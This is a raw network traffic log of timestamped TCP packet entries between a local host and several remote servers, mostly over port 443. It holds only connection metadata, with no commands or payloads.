Nov 5, 2024 22:44:31.501307011 CET	49923	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:31.501339912 CET	443	49923	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:31.501472950 CET	49923	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:31.501916885 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:31.501955032 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:31.502017021 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:31.502197027 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:31.502213955 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:31.544719934 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.544734001 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.544811964 CET	49928	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.544820070 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.545073032 CET	49928	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.545083046 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.545093060 CET	49928	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.545188904 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.545212984 CET	443	49928	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.545254946 CET	49928	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.547580004 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.547591925 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.547672033 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.547802925 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.547811031 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.557780027 CET	443	49929	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.557849884 CET	443	49929	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.557910919 CET	49929	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.558032036 CET	49929	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.558032036 CET	49929	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.558043957 CET	443	49929	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.558052063 CET	443	49929	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.559953928 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.559973001 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.560045958 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.560153008 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.560165882 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.672602892 CET	443	49930	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.672753096 CET	443	49930	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.672867060 CET	49930	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.673072100 CET	49930	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.673079967 CET	443	49930	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.673089981 CET	49930	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.673094034 CET	443	49930	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.675643921 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.675652027 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:31.675743103 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.675883055 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:31.675893068 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.164302111 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.164518118 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.165041924 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.165115118 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.166959047 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.166973114 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.167222023 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.167269945 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.167764902 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.192277908 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.192512989 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.193022966 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.193094969 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.194664001 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.195209980 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.195219994 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.195477962 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.195523024 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.195857048 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.195871115 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.196486950 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.196491003 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.196541071 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.210256100 CET	80	49713	69.42.215.252	192.168.2.5
Nov 5, 2024 22:44:32.210314035 CET	49713	80	192.168.2.5	69.42.215.252
Nov 5, 2024 22:44:32.215351105 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.222949982 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.223031044 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.226998091 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.227014065 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.227261066 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.227322102 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.227816105 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.231497049 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.231950045 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.231976986 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.232383013 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.232397079 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.243328094 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.275329113 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.280641079 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.281245947 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.281264067 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.281653881 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.281657934 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.323951960 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.323978901 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.324034929 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.324071884 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.324127913 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.324403048 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.324414015 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.324424982 CET	49934	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.324429989 CET	443	49934	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.327862978 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.327915907 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.328033924 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.328212976 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.328227997 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.367769003 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.367789984 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.367860079 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.367882013 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.367964983 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.368026972 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.368185043 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.368185043 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.368189096 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.368197918 CET	49935	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.368205070 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.368247986 CET	443	49935	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.370937109 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.370955944 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.371215105 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.371267080 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.371598959 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.372859955 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.372881889 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.372942924 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.373116970 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.373128891 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.397885084 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.398474932 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.398499012 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.398833990 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.398842096 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.418421984 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.418437958 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.418471098 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.418505907 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.418528080 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.418837070 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.418850899 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.418864012 CET	49937	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.418868065 CET	443	49937	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.419329882 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.421420097 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.421466112 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.421540976 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.421673059 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.421685934 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.446851015 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.447415113 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.447432995 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.447846889 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.447853088 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.535156965 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.535795927 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.535808086 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.535991907 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.535995960 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.535995960 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.535995960 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.536015034 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.536053896 CET	443	49931	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.536103010 CET	49931	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.536724091 CET	49943	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.536746979 CET	443	49943	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.536832094 CET	49943	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.537086964 CET	49943	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.537096977 CET	443	49943	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.539211988 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.539247036 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.539319992 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.539433002 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.539448977 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.565438986 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.565655947 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.565663099 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.565850973 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.565881014 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.565917015 CET	443	49932	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.565968037 CET	49932	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.566541910 CET	49945	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.566565037 CET	443	49945	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.566632032 CET	49945	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.566855907 CET	49945	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.566865921 CET	443	49945	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.605163097 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.605314970 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.605482101 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.605655909 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.605667114 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.605679989 CET	49938	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.605684996 CET	443	49938	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.609159946 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.609213114 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.609332085 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.609529972 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.609543085 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.653598070 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.653723001 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.653753042 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.653800011 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.654027939 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.654069901 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.654079914 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.654123068 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.654604912 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.654653072 CET	443	49933	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.654701948 CET	49933	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.655582905 CET	49948	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.655596018 CET	443	49948	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.655661106 CET	49948	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.655875921 CET	49948	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.655886889 CET	443	49948	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.844861031 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.844932079 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.845098019 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.845098019 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.845132113 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.845174074 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.846307039 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.846348047 CET	443	49936	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.846405029 CET	49936	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.846812963 CET	49949	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.846824884 CET	443	49949	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.846903086 CET	49949	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.847111940 CET	49949	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.847121000 CET	443	49949	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:32.848845959 CET	49939	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:32.848851919 CET	443	49939	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:32.849313021 CET	49943	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.849530935 CET	49945	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.849986076 CET	49948	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.849999905 CET	49949	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:32.852155924 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.852193117 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.852262974 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.852907896 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.852932930 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.853566885 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.853595018 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:32.853650093 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.854840994 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:32.854855061 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.074922085 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.075680017 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.075723886 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.076200008 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.076205969 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.129750967 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.130536079 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.130554914 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.130932093 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.130935907 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.170994997 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.171899080 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.171945095 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.172456980 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.172461987 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.207897902 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.208089113 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.208136082 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.208272934 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.208291054 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.208301067 CET	49940	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.208307028 CET	443	49940	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.211457968 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.211488962 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.211591959 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.211735010 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.211746931 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.271915913 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.271971941 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.272022009 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.272228003 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.272238016 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.272257090 CET	49941	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.272260904 CET	443	49941	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.275099039 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.275125027 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.275196075 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.275345087 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.275356054 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.304218054 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.304404974 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.304455042 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.304522038 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.304538965 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.304548979 CET	49942	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.304555893 CET	443	49942	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.307260036 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.307271004 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.307337046 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.307471991 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.307481050 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.346441031 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.346997976 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.347018957 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.347368956 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.347374916 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.350989103 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.351316929 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.351322889 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.351778030 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.351783037 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.484724998 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.484899998 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.485090971 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.485169888 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.485193968 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.485203981 CET	49946	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.485209942 CET	443	49946	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.487348080 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.487390041 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.487437963 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.487549067 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.487554073 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.487561941 CET	49944	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.487565041 CET	443	49944	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.488332033 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.488359928 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.488426924 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.488580942 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.488595009 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.489720106 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.489762068 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.489835978 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.489942074 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.489953041 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.711610079 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.711729050 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.712248087 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.712318897 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.715441942 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.715457916 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.715661049 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.715713978 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.716058969 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.743818045 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.743895054 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.744455099 CET	443	49951	172.217.23.110	192.168.2.5
